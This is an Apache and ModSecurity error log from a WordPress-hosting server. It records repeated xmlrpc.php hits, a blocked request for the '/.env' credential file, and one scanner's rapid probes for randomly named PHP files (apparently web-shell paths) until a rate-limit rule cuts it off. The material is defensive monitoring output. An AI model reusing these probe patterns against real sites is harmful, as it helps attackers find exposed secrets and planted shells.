[Thu Apr 02 08:48:47.595512 2026] [:error] [pid 23927:tid 23934] [client 112.206.67.27:27384] [client 112.206.67.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.206.67.27, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac2870sZwqCndhl9uKCPSAAAAYU"]
[Thu Apr 02 08:48:47.611633 2026] [proxy_fcgi:error] [pid 23927:tid 23934] [client 112.206.67.27:27384] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 10:16:11.844432 2026] [:error] [pid 29467:tid 29476] [client 57.129.28.199:12826] [client 57.129.28.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.129.28.199, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac3Ra74VUBFCJAq-WOl3BgAAAQY"]
[Thu Apr 02 10:16:11.856009 2026] [proxy_fcgi:error] [pid 29467:tid 29476] [client 57.129.28.199:12826] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 10:50:26.562911 2026] [:error] [pid 59201:tid 59279] [client 104.28.161.39:26281] [client 104.28.161.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.161.39, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac3ZcsAC0Tw8eL6gzZ62HQAAAIw"]
[Thu Apr 02 10:50:26.575326 2026] [proxy_fcgi:error] [pid 59201:tid 59279] [client 104.28.161.39:26281] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 12:42:58.230400 2026] [:error] [pid 59194:tid 59232] [client 43.231.210.106:4608] [client 43.231.210.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.231.210.106, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac3z0hMpAeV11hcQehwI-QAAABM"]
[Thu Apr 02 12:42:58.242137 2026] [proxy_fcgi:error] [pid 59194:tid 59232] [client 43.231.210.106:4608] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 13:15:04.776059 2026] [:error] [pid 59305:tid 59315] [client 58.145.188.202:21656] [client 58.145.188.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 58.145.188.202, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac37WKr2tV4rDwKFxKetlQAAAMY"]
[Thu Apr 02 13:15:04.788902 2026] [proxy_fcgi:error] [pid 59305:tid 59315] [client 58.145.188.202:21656] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 13:58:21.890309 2026] [:error] [pid 59305:tid 59314] [client 103.253.247.44:60314] [client 103.253.247.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.247.44, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac4Ffar2tV4rDwKFxKfKSAAAAMU"]
[Thu Apr 02 13:58:21.901194 2026] [proxy_fcgi:error] [pid 59305:tid 59314] [client 103.253.247.44:60314] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 14:43:43.627178 2026] [:error] [pid 23927:tid 23936] [client 182.77.77.118:18174] [client 182.77.77.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.77.77.118, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac4QH0sZwqCndhl9uKAuXwAAAYc"]
[Thu Apr 02 14:43:43.639286 2026] [proxy_fcgi:error] [pid 23927:tid 23936] [client 182.77.77.118:18174] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 15:36:07.446855 2026] [:error] [pid 54384:tid 54402] [client 61.2.56.7:55552] [client 61.2.56.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.2.56.7, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac4cZ9WWpaby3TVN7Me97wAAAdA"]
[Thu Apr 02 15:36:07.459249 2026] [proxy_fcgi:error] [pid 54384:tid 54402] [client 61.2.56.7:55552] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 16:10:17.196479 2026] [:error] [pid 59194:tid 59221] [client 37.210.131.57:53083] [client 37.210.131.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.210.131.57, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac4kaRMpAeV11hcQehwd9wAAAAg"]
[Thu Apr 02 16:10:17.208141 2026] [proxy_fcgi:error] [pid 59194:tid 59221] [client 37.210.131.57:53083] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 16:16:11.020676 2026] [:error] [pid 59305:tid 59328] [client 102.90.97.249:19904] [client 102.90.97.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.90.97.249, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac4ly6r2tV4rDwKFxKcVbwAAANM"]
[Thu Apr 02 16:16:11.041157 2026] [proxy_fcgi:error] [pid 59305:tid 59328] [client 102.90.97.249:19904] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 17:06:12.643143 2026] [:error] [pid 23927:tid 23931] [client 182.185.173.120:61329] [client 182.185.173.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.185.173.120, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac4xhEsZwqCndhl9uKBnGgAAAYI"]
[Thu Apr 02 17:06:12.654270 2026] [proxy_fcgi:error] [pid 23927:tid 23931] [client 182.185.173.120:61329] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 17:33:20.913480 2026] [:error] [pid 59305:tid 59315] [client 178.228.55.39:50718] [client 178.228.55.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.228.55.39, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac434Kr2tV4rDwKFxKc13wAAAMY"]
[Thu Apr 02 17:33:20.924229 2026] [proxy_fcgi:error] [pid 59305:tid 59315] [client 178.228.55.39:50718] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 17:35:37.167784 2026] [:error] [pid 23927:tid 23940] [client 171.76.85.50:14454] [client 171.76.85.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.76.85.50, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac44aUsZwqCndhl9uKBxDgAAAYs"]
[Thu Apr 02 17:35:37.178557 2026] [proxy_fcgi:error] [pid 23927:tid 23940] [client 171.76.85.50:14454] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 18:31:19.745230 2026] [:error] [pid 54384:tid 54401] [client 180.229.22.144:60822] [client 180.229.22.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.229.22.144, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac5Fd9WWpaby3TVN7Mft9wAAAc8"]
[Thu Apr 02 18:31:19.756092 2026] [proxy_fcgi:error] [pid 54384:tid 54401] [client 180.229.22.144:60822] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 18:48:49.137985 2026] [:error] [pid 23927:tid 23942] [client 103.166.150.33:35850] [client 103.166.150.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.150.33, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac5JkUsZwqCndhl9uKCP7wAAAY0"]
[Thu Apr 02 18:48:49.147032 2026] [proxy_fcgi:error] [pid 23927:tid 23942] [client 103.166.150.33:35850] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 21:41:05.866345 2026] [:error] [pid 59200:tid 59240] [client 198.20.161.98:55633] [client 198.20.161.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ac5x8bfP26txrdLs3EqICQAAAEA"]
[Fri Apr 03 00:43:39.376776 2026] [proxy_fcgi:error] [pid 25010:tid 25357] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:39.623193 2026] [proxy_fcgi:error] [pid 25010:tid 25364] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:39.870740 2026] [proxy_fcgi:error] [pid 25010:tid 25368] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:40.112496 2026] [proxy_fcgi:error] [pid 25010:tid 25369] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:40.355411 2026] [proxy_fcgi:error] [pid 25010:tid 25353] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:40.598339 2026] [proxy_fcgi:error] [pid 25010:tid 25354] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:40.841079 2026] [proxy_fcgi:error] [pid 25010:tid 25362] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:41.083848 2026] [proxy_fcgi:error] [pid 25010:tid 25365] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:41.331055 2026] [proxy_fcgi:error] [pid 25010:tid 25371] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:42.849704 2026] [proxy_fcgi:error] [pid 25010:tid 25370] [client 158.158.120.135:54531] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:43:43.089258 2026] [:error] [pid 25010:tid 25347] [client 158.158.120.135:54531] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hnphq.php"] [unique_id "ac6cv4_KcjFQF5TuqTWANgAAAAA"]
[Fri Apr 03 00:43:43.851961 2026] [:error] [pid 25470:tid 25478] [client 158.158.120.135:52376] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hnphq.php"] [unique_id "ac6cv3hROcck6_9HYyjh1AAAAMY"]
[Fri Apr 03 00:43:44.889370 2026] [:error] [pid 25010:tid 25355] [client 158.158.120.135:59018] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hnphq.php"] [unique_id "ac6cwI_KcjFQF5TuqTWAOgAAAAc"]
[Fri Apr 03 00:43:45.577676 2026] [:error] [pid 25010:tid 25365] [client 158.158.120.135:38528] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hnphq.php"] [unique_id "ac6cwY_KcjFQF5TuqTWAPgAAABA"]
[Fri Apr 03 00:43:46.471693 2026] [:error] [pid 25470:tid 25491] [client 158.158.120.135:40491] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac6cwnhROcck6_9HYyjh4gAAANM"]
[Fri Apr 03 00:43:47.332823 2026] [:error] [pid 25010:tid 25367] [client 158.158.120.135:40412] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac6cw4_KcjFQF5TuqTWARQAAABI"]
[Fri Apr 03 00:43:48.049974 2026] [:error] [pid 25470:tid 25493] [client 158.158.120.135:45225] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac6cxHhROcck6_9HYyjh7wAAANU"]
[Fri Apr 03 00:43:48.798798 2026] [:error] [pid 25470:tid 25483] [client 158.158.120.135:38574] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac6cxHhROcck6_9HYyjh-QAAAMs"]
[Fri Apr 03 00:43:49.782726 2026] [:error] [pid 25010:tid 25369] [client 158.158.120.135:32535] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ac6cxY_KcjFQF5TuqTWAWgAAABQ"]
[Fri Apr 03 00:43:50.689294 2026] [:error] [pid 25010:tid 25371] [client 158.158.120.135:32530] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ac6cxo_KcjFQF5TuqTWAYAAAABY"]
[Fri Apr 03 00:43:51.774186 2026] [:error] [pid 25035:tid 25457] [client 158.158.120.135:59021] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ac6cxxhR292toNOkLqGV_gAAAI8"]
[Fri Apr 03 00:43:52.471109 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:63757] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "ac6cyI_KcjFQF5TuqTWAagAAABM"]
[Fri Apr 03 00:43:53.388954 2026] [:error] [pid 25010:tid 25369] [client 158.158.120.135:40476] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "ac6cyY_KcjFQF5TuqTWAbAAAABQ"]
[Fri Apr 03 00:43:54.221142 2026] [:error] [pid 25035:tid 25455] [client 158.158.120.135:59062] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "ac6cyhhR292toNOkLqGWBwAAAI0"]
[Fri Apr 03 00:43:54.977839 2026] [:error] [pid 25470:tid 25494] [client 158.158.120.135:38565] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "ac6cynhROcck6_9HYyjiFwAAANY"]
[Fri Apr 03 00:43:55.911573 2026] [:error] [pid 25470:tid 25484] [client 158.158.120.135:40467] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "ac6cy3hROcck6_9HYyjiIAAAAMw"]
[Fri Apr 03 00:43:56.722250 2026] [:error] [pid 25010:tid 25355] [client 158.158.120.135:54573] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac6czI_KcjFQF5TuqTWAhgAAAAc"]
[Fri Apr 03 00:43:57.329738 2026] [:error] [pid 25010:tid 25367] [client 158.158.120.135:54547] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac6czY_KcjFQF5TuqTWAjwAAABI"]
[Fri Apr 03 00:43:57.868777 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:40503] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac6czY_KcjFQF5TuqTWAlgAAABM"]
[Fri Apr 03 00:43:58.415949 2026] [:error] [pid 25018:tid 25435] [client 158.158.120.135:38562] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac6cznupR6lXnAUzFGreBgAAAFY"]
[Fri Apr 03 00:43:59.028969 2026] [:error] [pid 25035:tid 25454] [client 158.158.120.135:38590] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac6czxhR292toNOkLqGWFwAAAIw"]
[Fri Apr 03 00:43:59.858975 2026] [:error] [pid 25035:tid 25452] [client 158.158.120.135:59031] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac6czxhR292toNOkLqGWHAAAAIo"]
[Fri Apr 03 00:44:00.470800 2026] [:error] [pid 25470:tid 25487] [client 158.158.120.135:25564] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac6c0HhROcck6_9HYyjiMAAAAM8"]
[Fri Apr 03 00:44:01.283486 2026] [:error] [pid 25010:tid 25359] [client 158.158.120.135:41118] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac6c0Y_KcjFQF5TuqTWAnwAAAAs"]
[Fri Apr 03 00:44:02.079297 2026] [:error] [pid 25010:tid 25373] [client 158.158.120.135:63781] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "ac6c0o_KcjFQF5TuqTWAowAAABg"]
[Fri Apr 03 00:44:02.591060 2026] [:error] [pid 25010:tid 25358] [client 158.158.120.135:57874] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "ac6c0o_KcjFQF5TuqTWAqwAAAAo"]
[Fri Apr 03 00:44:03.404946 2026] [:error] [pid 25470:tid 25476] [client 158.158.120.135:38588] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "ac6c03hROcck6_9HYyjiOAAAAMQ"]
[Fri Apr 03 00:44:04.056859 2026] [:error] [pid 25018:tid 25426] [client 158.158.120.135:25579] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "ac6c1HupR6lXnAUzFGreFgAAAE0"]
[Fri Apr 03 00:44:04.806269 2026] [:error] [pid 25470:tid 25485] [client 158.158.120.135:29762] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac6c1HhROcck6_9HYyjiPgAAAM0"]
[Fri Apr 03 00:44:05.448964 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:41119] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac6c1XhROcck6_9HYyjiQgAAAM4"]
[Fri Apr 03 00:44:05.981177 2026] [:error] [pid 25470:tid 25483] [client 158.158.120.135:57916] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac6c1XhROcck6_9HYyjiRgAAAMs"]
[Fri Apr 03 00:44:06.489409 2026] [:error] [pid 25018:tid 25432] [client 158.158.120.135:38583] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac6c1nupR6lXnAUzFGreIQAAAFM"]
